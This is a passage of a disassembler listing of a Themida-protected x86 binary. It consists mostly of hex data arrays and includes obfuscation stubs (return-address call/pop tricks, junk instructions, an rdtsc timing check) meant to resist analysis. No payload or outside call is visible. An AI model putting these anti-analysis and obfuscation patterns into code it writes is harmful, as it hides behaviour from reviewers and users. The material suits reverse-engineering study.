0F2E51F3Bh, 0E82F151Bh dd 1B4351F1h, 8C593183h, 70C87445h, 6CA13641h, 0F1E88066h dd 0D46C9451h, 0FFBA1B28h, 0E8AACC53h, 0EDEF82F3h, 2E34FCFEh dd 51F1F248h, 9F05345Ch, 58h, 894A17B6h, 0DDFA0534h, 0B12734E0h dd 962E620Eh, 7FAE0DC9h, 0D76D2Dh, 17B26BBDh, 832F8C4Ah dd 0E2F1FC2Bh, 5A272FDBh, 7D94407Dh, 9995B84Ch, 507F1784h dd 0F24C290Ch, 0F191A551h, 5A657340h, 0BB2756AEh, 0FEED8DAAh dd 0E6ECB4h, 1451F258h, 157BDECh, 6E000000h, 33884A17h dd 0E2D9F904h, 0EAD2936h, 0FE23EFC6h, 0D8FF48C2h, 94EA3FA9h dd 0FBBFF5CCh, 6FA63332h, 0F26503E9h, 0A2EF1751h, 85A8936h dd 0E7EAB74Ah, 81CE26D2h, 2E396857h, 0E9C517A4h, 858BD37Bh dd 57E57F6Eh, 20060CE4h, 34580680h, 0C0C8740Ch, 800CF2F8h dd 39205806h, 3A078B6Ah, 0B5029AECh, 616C9B22h, 17F44675h dd 0E7B4FCBFh, 349ECDF0h, 6A30AEEh, 7C3F9358h, 0DCC2C8D0h dd 0F05806A2h, 5F5A7BC8h, 0B9D93DB3h, 0A2E0C438h, 1D6F4C8Ah dd 79259640h, 9516A6Ch, 7420993Ch, 1183ED1Ch, 7F57EDADh dd 3B12EA3Ch, 0B5772AF6h, 50BCEB5Bh, 0F8D95B15h, 1B4E9h dd 0C414E100h, 0C8F74FFBh, 3AA513E1h, 1FB66BCFh, 3F96EE9Ah dd 206D1FD7h, 15905B6h, 53592169h, 51F2D06Dh, 242A5981h dd 0C5488F5Ch, 0F2CFD9BFh, 2DC5ED51h, 0CFF9DFE5h, 0E50D51F2h dd 0F53B72B6h, 0C9F157E5h, 77D1AA81h, 70F93032h, 0DE0DB023h dd 4C6F6774h, 2B91DFAh, 2E8D4956h, 0EEAC1082h, 0E93B8056h dd 5D434911h, 715807B0h, 0B7AE1A49h, 47F8D829h, 87h, 0CC40175Eh dd 4C1D95B4h, 0ED5A6493h, 8AA98F95h, 353B51F2h, 51F28B4Fh dd 4D753B63h, 0A0966DB5h, 3C558105h, 383E4473h, 0D1F2C372h dd 6A721E46h, 5D988C93h, 80AF2611h, 0F2E1563Ch, 94B6DAD1h dd 0FD8A8E65h, 8AF5EA57h, 89E4515Bh, 8ED66E4Dh, 0E3DAF9C6h dd 13A82A37h, 48770F67h, 0F27C3E04h, 0BBB99051h, 49163688h dd 0AFD75B8Ah, 0C03C9A67h, 0FB3695ADh, 579F374Ah, 0F2016B51h dd 28577F51h, 0B73A18h, 13910000h, 299244A5h, 2CC4F5DCh dd 0FDC017E4h, 0C4CAF951h, 18A32FFCh, 6BA79EC1h, 1443E6A5h dd 0E54A15D0h, 0F1E6C357h, 30C820CCh, 23AF7C84h, 785E6998h dd 4C19F143h, 7B883485h, 5EB6625Dh, 4A8C97C6h, 0F0BDC571h dd 1128D4E5h, 5B27A0FAh, 0B2E179DEh, 6268D6Eh, 4505E958h dd 429427AFh, 48F866h, 0FE909CFAh, 1EB3905Dh, 0F3BB039Bh dd 217107EDh, 0AD93995Eh, 0C15E2170h, 7CABD399h, 2BD10512h dd 0DD128B33h, 43CE0E7Fh, 0BFC17BD2h, 8E9B47DFh, 0BFCC7845h dd 0C5F9A518h, 0AB40A1E1h, 6C4D8855h, 0BC1B68C0h, 0C280D201h dd 0C911BD2Bh, 19B365C3h, 0DF315964h, 0F9A51326h, 1B21E9B1h dd 51F1E835h, 0AEF22149h, 57EA5250h, 63701C44h, 19F64873h dd 0C52FEBDh, 7FA2F25Eh, 4DFC9E02h, 36655680h, 2151AB2Bh dd 59640088h, 0C06C4F87h, 0E638D068h, 0A6EECD09h, 0EFF2D8DEh dd 1F068002h, 0A0258EDCh, 79A84003h, 0E6D3020Fh, 743E53Ah dd 80D2E9EDh, 0C2FDDBA8h, 848FBE16h, 0B5BD6952h, 23CFF0E8h dd 0C62F151Bh, 1B438003h, 3485483h, 9F000000h, 0CA127DE4h dd 9A3C49F5h, 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh dd 0B61F2CD8h, 884A5703h, 597A8733h, 5733B864h, 0C781E789h dd 4, 4EF81h, 3C870000h, 34895C24h, 0E0895024h, 405h, 4E88300h dd 5C240487h, 83242C89h, 1C8904ECh, 0DE685224h, 5A13C731h dd 484EE281h, 0CA812850h, 8AF4101h, 0AD0BB53h, 0DA310EF4h dd 5AD5895Bh, 241C8B54h, 4C481h, 0EC830000h, 242C8904h dd 0FF08438Fh, 835B2434h, 2C8B04C4h, 0E3895324h, 4C381h dd 0C3810000h, 4, 5C241C87h, 0F92CA6E9h, 0E8A395FFh ; --------------------------------------------------------------------------- push es loc_5BDD5D: ; CODE XREF: sub_5BD701:loc_5BD779j mov eax, 61B50F8h add eax, ebp jmp eax sub_5BD701 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0C80Ah dd 988F597Fh, 0C1474D19h, 903E6AFBh, 0DCEF1829h, 72D44FF9h dd 30051ECBh, 486009A2h, 6D340D38h, 43161D11h, 0D56E373Bh dd 3DFE635Fh, 0DFE9222Bh, 0CE000000h, 825FB10Eh, 3D1A6C51h dd 0F7D42695h, 0AC89DBDEh, 740922Bh, 0E5D8FFB1h, 9E1BB693h dd 56696F4Ch, 0CAF2704h, 2026AEBAh, 580D393Ah, 12EC534Eh dd 0DB4AF6C3h, 8E2CFED5h, 89EC17B5h, 83864F5Ah, 0F25A977Dh dd 2C83AB51h, 0CACC9E6Bh, 80D26A27h, 0F1EB896Ah, 81F1D351h dd 0B37B5033h, 3461C7ADh, 84B3DB52h, 759F9E40h, 81A66A50h dd 2CF450B8h, 0B8814026h, 5B775452h, 0BE71C860h, 2AE82B02h dd 1ECDD908h, 5000000h, 0B151373Dh, 3D6552B8h, 6E4495E6h dd 0F7260B7Ah, 494F1710h, 51F1E863h, 0E7204F77h, 0F5CA1280h dd 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh dd 3B61F2Ch, 33884A57h, 64597A87h, 0BC6833B8h, 0E9061B51h dd 0FFF92B8Fh, 0A21B1AE5h, 0EE0E933Dh, 8D8DD394h, 61B536Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EDC35242h dd 86672CAAh, 0EBC944DBh, 298D8938h, 60061432h, 6800Fh dd 0F6810000h, 74E442D8h, 1D718D01h, 0C7610614h, 14064D85h dd 6ACC06h, 68B0F00h, 8B000000h, 140AE5B5h, 7185C706h dd 61426h, 0E8000000h, 0Eh, 0E7EDD2A4h, 8CBE252Eh, 53100136h dd 0BF66D05Ah, 0FF5AD921h, 143099B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0DB81BC6Ah, 678DF9BBh, 6E9h, 0C3EA2D00h, 0FF79A163h dd 14236195h, 0DE906h, 0E9DC0000h, 0BD8393A0h, 0E1A7559Ch dd 6AB7B97Eh, 6995FF00h, 8B061411h, 9F3BEBC0h, 3EED1340h dd 4BD80435h, 0ACDC0DBFh, 34C35560h, 2FE4FB4Bh, 1D438B54h dd 0B3AA3A1Eh, 0BED8E139h, 925C1DC9h, 7B541F0Eh, 84084749h dd 0DE4CBFh, 0AB2746B0h, 3287D441h, 8D8DC09Ch, 61B547Bh dd 2C559D8Bh, 8D890614h, 6143229h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0B7C35040h, 0B52DFAEDh, 9F9C7F83h dd 6830F63h, 89000000h, 14318D8Dh, 8166FC06h, 0C76715EEh dd 14064D85h, 6FCC06h, 0CEF28100h, 0C77BDB9Bh, 14267185h dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 3C326768h, 11FB06A5h, 29D8D09h, 0B5FF0614h dd 6140D49h, 236195FFh, 6A0614h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 604EB4C3h, 612EEBE7h dd 8D016075h, 6140665h, 17199D29h, 6A610614h, 6995FF00h ; --------------------------------------------------------------------------- loc_5BE058: ; DATA XREF: Themida_:00548E7Co ; Themida_:0054B664o adc [esi+eax], edx mov eax, eax jmp short loc_5BE0A8 ; --------------------------------------------------------------------------- db 3Eh dd 0FABF82E9h, 0BFB665E7h, 6A01508Eh, 2F68ABF0h, 0A8A40F88h dd 7CC86599h, 0BC08EFE2h, 0E74DD18Ah, 3D36E0CEh, 0CCBE655Fh dd 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 992E7378h, 492FCFF3h dd 0AC3008C3h, 0FC88B654h, 81CDB06Dh ; --------------------------------------------------------------------------- loc_5BE0A8: ; CODE XREF: Themida_:005BE05Dj jmp short loc_5BE0C0 ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 1010000h ; --------------------------------------------------------------------------- loc_5BE0C0: ; CODE XREF: Themida_:loc_5BE0A8j inc esp add al, 0 add [ebx], bl push es push 0 push edi call sub_5BE0D1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE0D1 proc near ; CODE XREF: Themida_:005BE0C9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5BE0D1 endp ; --------------------------------------------------------------------------- db 73h, 6Bh, 44h dd 0E2912059h, 0FAEE932h, 889h, 2890F00h, 50000000h, 9995295Bh dd 50061413h, 0BE8h, 518E6E00h, 1D708E9Fh, 8A34743Dh, 0B0595260h dd 89596138h, 8E0F2404h, 5, 0E8C0C8BFh, 6A006A74h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0B7C0C350h, 0FA34241Ch, 0BD89658Eh, 614106Dh, 0D71B589h dd 6A0614h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0C3C35040h, 8D5C5E0Eh, 1B563785h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 66377709h, 90FEEEBFh, 5800Fh, 46BA0000h, 507C5470h dd 0A991ADBAh, 6A904Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 787F3FC3h, 8FBB1B19h, 6A21556Eh dd 9840F00h, 0F000000h, 382h, 17CB8000h, 0D78B006Ah, 1A7195FFh dd 0BD2B0614h, 6142195h, 648E9h, 14E900h, 9D50000h, 0AA3CE9B0h dd 24D5B0C5h, 0A1CE56CFh, 669F797Eh, 0E8A570h, 5D000000h dd 563CED81h, 9509061Bh, 6142F05h, 8559D33h, 6A0614h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 8B827DC3h, 0D180BAE1h, 46AC68C9h, 7E9A0BAh, 0BA000000h dd 5FF4B5A4h, 4813F92h, 45C8F424h, 398D8B5Fh, 5706142Dh dd 0CCFABB66h, 6995FF5Bh, 9061411h, 142C758Dh, 0CBB58D06h dd 6A061B54h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0D320C351h, 3BE387BBh, 0D1744846h dd 13E9h, 0A4625800h, 88E1491Dh, 0E6B1B0A1h, 25238E10h dd 0D0636451h, 0C7D98B66h, 67655206h, 55006A6Dh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 5172DD1Dh, 60E3731Bh, 0FE8h, 0B1746800h, 325BC362h dd 0B69F8908h, 1A5BAB71h, 784CBB66h, 46C7615Fh, 636E6F04h dd 0BF0F606Ch, 0F5858BF9h, 6106140Fh, 610846C7h, 1007373h dd 1423B5B5h, 8B006A06h, 141009BDh, 0CB858D06h, 6A061B54h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0CDD9C356h, 0ECC59E90h, 7224BB50h, 489610Eh dd 8DB50124h, 0E9061434h, 0Ch, 29FF1F5Fh, 0A638574Fh, 0C3B5112h dd 0E4D95FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0EE8A0C3h, 27000000h, 9FAE40A4h dd 36F1D905h, 0FFE7A49Ch, 6D38021h, 0A1B5895Fh, 6606141Ah dd 0C00BF98Bh, 41840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0DC6D70C3h, 0EC69220Ch dd 60DF8B60h, 5BA5EB81h, 0BD8B0FE4h, 61416EDh, 0D9816161h dd 5B0DF33Ch, 402E9h, 68DF8B00h, 0B304E217h, 74B55250h dd 0D68B310Fh, 481585Ah, 0FB1F1524h, 13E94Ch, 7AB70000h dd 81C01BF0h, 17F02684h, 0ADB00DCBh, 0C57A9A75h, 6995FF40h dd 8B061411h, 141D599Dh, 0CBB58D06h, 6A061B54h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0F8ACC352h, 0BC5EEEh, 0C70B76EEh, 34383106h, 55006A36h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 4243BA0Bh, 0D598C63Ah, 0F28166FCh, 8B668FCFh, 0FE8C8h dd 9E300000h, 632BB765h, 6725089h, 0BD957ACAh, 128E0F4Eh dd 0E8000000h, 0Ch, 0FD99D02Dh, 0A20ADCC3h, 27551C16h dd 46C75B5Fh, 342D3704h, 8B27B531h, 142F159Dh, 846C706h dd 0 ; --------------------------------------------------------------------------- mov edx, [ebp+61419E1h] push 0 push 0 push ebx call sub_5BE4EF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE4EF proc near ; CODE XREF: Themida_:005BE4E7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5BE4EF endp ; --------------------------------------------------------------------------- jecxz short loc_5BE54B lea eax, [di+54CBh] sbb eax, [esi] push 0 push ebp call sub_5BE513 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE513 proc near ; CODE XREF: Themida_:005BE50Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5BE513 endp ; --------------------------------------------------------------------------- retf 4FEDh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0E5h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- mov ecx, 5E6F26ADh push eax mov di, cx mov [esp], eax call dword ptr [ebp+6140E4Dh] push 0 push edi call sub_5BE546 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE546 proc near ; CODE XREF: Themida_:005BE53Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi loc_5BE54B: ; CODE XREF: Themida_:005BE4FFj add [esp-4+arg_4], 14h inc edi push edi retn sub_5BE546 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 8B00h ; --------------------------------------------------------------------------- cli or eax, eax jz loc_5BE594 mov cx, di jmp loc_5BE803 ; --------------------------------------------------------------------------- push 0 push eax call sub_5BE574 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE574 proc near ; CODE XREF: Themida_:005BE56Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5BE574 endp ; --------------------------------------------------------------------------- fld dword ptr [ecx+7Ah] pop edx push ecx mov bl, 2Eh fst dword ptr [edi-77h] test edx, ebp xor al, 14h push es pop edx loc_5BE594: ; CODE XREF: Themida_:005BE55Bj call loc_5BE59D sub al, 1 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_5BE59D: ; CODE XREF: Themida_:loc_5BE594p pusha js loc_5BE5BE call sub_5BE5BD ; --------------------------------------------------------------------------- db 0FEh, 2Dh, 0F1h dd 7ED09C22h, 7AA2061Ah, 59307B3Dh, 0D5DDBE84h db 0EFh ; =============== S U B R O U T I N E ======================================= sub_5BE5BD proc near ; CODE XREF: Themida_:005BE5A4p arg_20 = dword ptr 24h pop ebx loc_5BE5BE: ; CODE XREF: Themida_:005BE59Ej mov cl, 0D4h popa push eax mov ecx, 2A680A05h mov eax, [esp-20h+arg_20] call near ptr loc_5BE5D6+1 xor esi, 822255Ah loc_5BE5D6: ; CODE XREF: sub_5BE5BD+Ep sbb [eax+52h], edx sub_5BE5BD endp ; sp-analysis failed push esi pop ebx rdtsc jnb $+6 pop edx pop eax pop edx mov eax, [eax] mov bx, ax mov [esp+4], eax mov bx, ax pop eax jmp loc_5BE601 ; --------------------------------------------------------------------------- dd 7455D39Ah, 27F3F16Ch ; --------------------------------------------------------------------------- push cs loc_5BE601: ; CODE XREF: Themida_:005BE5F3j call dword ptr [ebp+6141169h] push 0 push edx call sub_5BE612 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE612 proc near ; CODE XREF: Themida_:005BE60Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5BE612 endp ; --------------------------------------------------------------------------- and [ebx-3Eh], ebp mov al, ds:73A1DDB2h xor dword ptr [ebp-75h], 1423D995h push es movzx edx, si lea esi, [ebp+61B54CBh] push 0 push esi call sub_5BE646 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE646 proc near ; CODE XREF: Themida_:005BE63Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5BE646 endp ; --------------------------------------------------------------------------- dw 1F66h dd 0CEADEB7Ch, 0F59BDAEh, 68Bh, 11BD2300h, 0C7061426h dd 6C694606h, 55006A65h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0A498BF70h, 0F9D0793h, 68Ch, 95858900h dd 0C7061429h, 6F6D0446h, 9501636Eh, 6141369h, 6C0846C7h dd 6A737361h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0A947C356h, 31DE8730h, 140649B5h dd 0C46C706h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5BE6EB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE6EB proc near ; CODE XREF: Themida_:005BE6E3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5BE6EB endp ; --------------------------------------------------------------------------- jbe short near ptr loc_5BE712+4 cmp [edi+41h], ebx or edx, [ebp+61400FDh] push ecx adc dx, 3E1Fh pop ebx push 0 push 0 push esi loc_5BE712: ; CODE XREF: Themida_:005BE6FBj call sub_5BE71A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE71A proc near ; CODE XREF: Themida_:loc_5BE712p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5BE71A endp ; --------------------------------------------------------------------------- dw 9B5Ah dd 794527D0h, 89786D54h, 1421F985h, 0CB858D06h, 6A061B54h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0E8B2C356h, 13h, 0C2BC00FAh, 0DF979DFBh dd 0E5CE52EDh, 51A59968h, 8B625DE4h, 1422718Dh, 66505A06h dd 89695DBAh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0DE96FC3h, 0CB000000h, 7CFDC8ECh dd 0B2FA50C1h, 0F7B5399Fh, 0FF18E380h, 140E4D95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0F9A3B4EAh, 0F1C143Bh, 0C00BFEB7h, 12840Fh, 23530000h dd 142F0D95h, 10E95F06h, 0BF000000h, 443C0BEDh, 0FFFA19E9h dd 0A9C781FFh db 11h, 0EDh, 36h ; --------------------------------------------------------------------------- loc_5BE803: ; CODE XREF: Themida_:005BE564j lea esi, [ebp+61470F0h] push 0 push eax call sub_5BE814 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE814 proc near ; CODE XREF: Themida_:005BE80Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5BE814 endp ; --------------------------------------------------------------------------- dd 3BD7AAE6h, 6B7FA85Ah, 0B8h, 0C58D0900h, 0FF06142Ah dd 0A5BD8BE6h, 89061416h, 1421D18Dh, 0E8C18B06h, 10h, 4ACC41F3h dd 0D33E63AAh, 0C4E4F2B9h, 0B66D5272h, 0CA9B589h, 895F0614h dd 140CD9B5h, 0B5C78106h, 68000072h, 1C80h, 19499589h dd 295E0614h, 1416D58Dh, 0E8078B06h, 0Fh, 51354D7Fh, 9496BC94h dd 0F64BD5Bh, 0FF72340h, 386h, 13DE8000h, 0ABE8815Bh, 662422FEh dd 0A214D281h, 0C69CE881h, 8D890662h, 6140FEDh, 860BE881h dd 789495Eh, 0EF81E88Ah, 114642D6h, 34A19501h, 0C7810614h dd 114642D2h, 880Fh, 0F4E0000h, 1285h, 1FE900h, 982F0000h dd 0C07830F4h, 61D00504h, 810D3987h, 9B1408E9h, 0FF83E964h dd 8D8EFFFFh, 0D96B3666h, 29E9AFh, 0E49D0000h, 5DCFh, 8 dup(0) dd 0E9000000h, 553h, 0FC4E716Bh, 0B709B41Fh, 71C3F8DAh dd 26784194h, 0DD2F8E49h, 3B9C14A4h, 7E533082h, 0CC0CE93Bh dd 12C4A1F3h, 0C34B57A9h, 0D44D7BDh, 89F0EB58h, 0AFF7C412h dd 99C8F5E2h, 8B5222Fh, 0BEFDD9B6h, 0EAD10512h, 66A2313Eh dd 4AA24E6Bh, 0DEF906B2h, 0AB2633DFh, 7E55620Eh, 0ABE7CB3Fh dd 6E2C9046h, 69BB00D6h, 0A912C491h, 6B76A5FDh, 2800526Dh dd 0E8745A60h, 0D50151F1h, 0B0F820E6h, 0F1E7C4AAh, 81B0D851h dd 0B15D6276h, 0E08C2DA4h, 93A9E98Bh, 0DEC4CA45h, 6151F1E7h dd 0C342E467h, 71995F8Bh, 2CAA87D9h, 4BF3D9DFh, 0DF0751F2h dd 72559B47h, 0EE51F24Ch, 4223B8DAh, 0BCFEED8Eh, 5Ah, 884A17D3h dd 0CFECE633h, 919CCB23h, 84CA7645h, 51F1E7A0h, 53480A1Eh dd 0FEEDF212h, 1ECh, 0C1120300h, 0EFE7B4FCh, 26339DCCh dd 576410ADh, 198F3B7Eh, 976495B5h, 77CF7B3Eh, 27963D48h dd 0C64017DFh, 0CC6D9F32h, 1307ED73h, 0F31B51F2h, 0FFD7B4C4h dd 54ECCF07h, 0C5124902h, 943F4CF8h, 0F30B7D29h, 9108501Ch dd 0F1209D80h, 774EE39Fh, 0D2CD8614h, 141F4E5Dh, 0D0A8FAC3h dd 0A137CF03h, 821A721Eh, 2D8E4853h, 0FAA27981h, 874D4745h dd 0AB188CE3h, 9E3AFF9h, 303CFDAh, 0A52EAD5h, 0E5E5F33h dd 0D504919Ch, 80C2E46Bh, 0EDA16A0Bh, 80B4FEh, 0DFAC0000h dd 0AE95C4F7h, 4CF8C512h, 0D4AB6D44h, 0B65F7A36h, 65567C87h dd 3485501Dh, 0C1259B05h, 9C6C6B81h, 7ED6823Bh, 0C2826327h dd 781047B0h, 2F8E4926h, 5A5F7683h, 8837A1AEh, 0B306CFDCh dd 0E4D9FA07h, 2988CA2Eh, 89024062h, 0FEEDCCECh, 4B32h dd 0C5124900h, 993F4CF8h, 62467A26h, 0F2CB0C20h, 0FA00C8A0h dd 51F1E814h, 0C18736A1h, 0E7FDE3E9h, 0E91151F1h, 56D7FA51h dd 0A90F3914h, 0C112937Ah, 270A50FCh, 0A351F1E8h, 713EF38Fh dd 51A95564h, 0F1AFB622h, 14FFEEDh, 66000000h, 4FFBC012h dd 7B279442h, 0CF03D026h, 0B9E840ECh, 0C1112B67h, 932B9245h dd 455F744Bh, 2484BC90h, 9B09E5F5h, 8EA5ABF3h, 457E55Eh dd 10C794DCh, 32DEDFF8h, 899642DAh, 6FC7734Ah, 313EA8D7h dd 0E7C416A5h, 0BC84CCEFh, 65ED0B6h, 45745D58h, 0CD0A577Fh dd 0BDEC44F0h, 5F290D53h, 0A78B5806h, 888E56EBh, 58065EA2h dd 96418EB6h, 0E9EDF827h, 45B38AD2h, 0E8F5249Bh, 0FED6E615h dd 6A16A531h, 0FED8E312h, 2AA875BDh, 195948D2h, 0E57D7863h dd 3E94E139h, 0DCE44E7Dh, 5F280E14h, 6CAB5806h, 3AB3CD90h dd 103F672Dh, 3EEAD105h, 0E6ECB4CCh, 5806E200h, 369FEC14h dd 507FD783h, 0E0AD5CFEh, 8C97C6F7h, 0E11F714Ah, 0F8D8F784h dd 1157Ah, 0A5139100h, 0E85D4349h, 497151F1h, 2C6369B1h dd 0E257E50Eh, 0C99B72BAh, 1CA132F7h, 0F2315EC5h, 8A4C59C3h dd 0D402DF31h, 5C333BE7h, 1197D7D6h, 55608F76h, 1C8E3A81h dd 74629AB8h, 0AEB7F547h, 50F8D944h, 40h, 0F8A61367h, 0B61BE8B0h dd 0E8674D53h, 537B51F1h, 88B70FBBh, 0F1E87E44h, 7E2A52D1h dd 0F1E85238h, 90B2D6D1h, 0FA42F05Dh, 0F1E82EF4h, 88DA0251h dd 99AAh, 0C315E200h, 9629AFFCh, 7C6392EAh, 0B1F9A513h dd 20CCEDE4h, 50FCBF13h, 2B3160F8h, 0E5116A25h, 9D3B1857h dd 861E7622h, 8A70763Eh, 9E5805F0h, 0F0DAC0C6h, 0C6EE5805h dd 8895FF2Eh, 3E1B6D4Eh, 57646E98h, 34FC53ABh, 128DB571h dd 99DF8B23h, 5806D6B8h, 0DA123014h, 956DBFFCh, 83B20BC8h dd 1B630B79h, 0FF33F815h, 96426A5Dh, 0AA11C18Eh, 6C77A6FEh dd 3209516Ah, 78525991h, 4FB9E800h, 33A58FAh, 1BA43495h dd 18353B83h, 8A641B25h, 6B381062h, 51A95568h, 0A5133B22h dd 8EABB1F9h, 57EA44h, 0B71F2CD8h, 45684E54h, 547C580Dh dd 498D6ABCh, 3E80C672h, 1A13C0CAh, 766094B6h, 0A530FD45h dd 0E1106814h, 0D222F9D1h, 709D2F54h, 0DC9D403h, 0E0F502AEh dd 0FCC991D9h, 0E23AE6D7h, 0E157765Ch, 0ACB28AB3h, 0B3E156C6h dd 0EB1AB2DAh, 0C88A2C81h, 0C719A234h, 87CFECEAh, 0A9A438B0h dd 5F65BD84h, 0F1273259h, 52BCEB83h, 0C44h, 40179B00h dd 0BF9411F3h, 0C7002F76h, 0F5CA1260h, 219A3C49h, 4F706875h dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h dd 64597A87h, 895233B8h, 4C281E2h, 83000000h, 148704EAh dd 24248B24h, 1B3F68h, 243C8900h, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 52242C89h, 992677BAh, 81DAF726h, 1C3490F2h dd 0C0F28141h, 813AA243h, 0BD5180EAh, 3481529Ch, 6B1DB624h dd 0F7815F09h, 96B1DB6h, 4EC815Ah, 89000000h, 4832424h dd 575D0424h, 6C4BB951h, 4C293713h, 8F590424h, 45810845h dd 136C4B08h, 242C8B37h, 81E38953h, 4C3h, 4C38300h, 5C241C87h dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h, 7CE95C24h dd 8DFFF91Bh, 7FF8D30Fh, 0B875623Bh, 61B61FBh, 0E0FFC503h dd 1915F1DDh, 111C0EBEh, 4F4BC774h, 78CBAABFh, 53836A7Ch dd 2E2C260Bh, 62C403Ah, 458AB215h, 3823742Ch, 92385B8h dd 7FCAF697h, 52698E10h, 787B0069h, 0BE75682h, 15E403Fh dd 6EC03AACh, 733F48F5h, 7C320CF4h, 5242CAFEh, 0DA21A80Ah dd 52898A4Eh, 0D5ABA80Ah, 536175EAh, 0DB2FA80Ah, 5DBA8A4Eh dd 0DB8457AEh, 50518A4Eh, 0D5ABA80Ah, 501875EAh, 0D8CAA80Ah dd 509A8A4Eh, 0D974A80Ah, 511C8A4Eh, 0D5ABA80Ah, 2F2575EAh dd 313080D4h, 5DC00313h, 0A752B333h, 0B9211C90h, 29D12157h dd 2F439176h, 313045D4h, 0A5C00313h, 0A752B332h, 0B920CF90h dd 25D12157h, 2F439176h, 313134D4h, 0B1C00313h, 0A752B332h dd 0B9207B90h, 31D12157h, 2F439176h, 31329DD4h, 0BDC00313h dd 0A752B332h, 0B923F490h, 0DD12157h, 2F439176h, 313217D4h dd 89C00313h, 0A752B332h, 0B9228A90h, 5D12157h, 2F439176h dd 3133E9D4h, 91C00313h, 0A752B332h, 0B922F090h, 1DD12157h dd 0C3439176h, 2A5012B8h, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh dd 0C0D5F251h, 0A45EE9F7h, 2AA8ED96h, 29458A15h, 0E367A024h dd 0ADBAB496h, 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh dd 6713AAEh, 42848C01h, 2211AB53h, 5D55FFEAh, 3AABA424h dd 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h dd 26292359h, 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h dd 2FEE27BFh, 31117EDBh, 12947513h, 0A0D90201h, 0A45ECFC3h dd 0A1EC79AEh, 941AE51h, 6F8222DCh, 73BA8C0Eh, 2ADF1037h dd 28C82173h, 2C4FED87h, 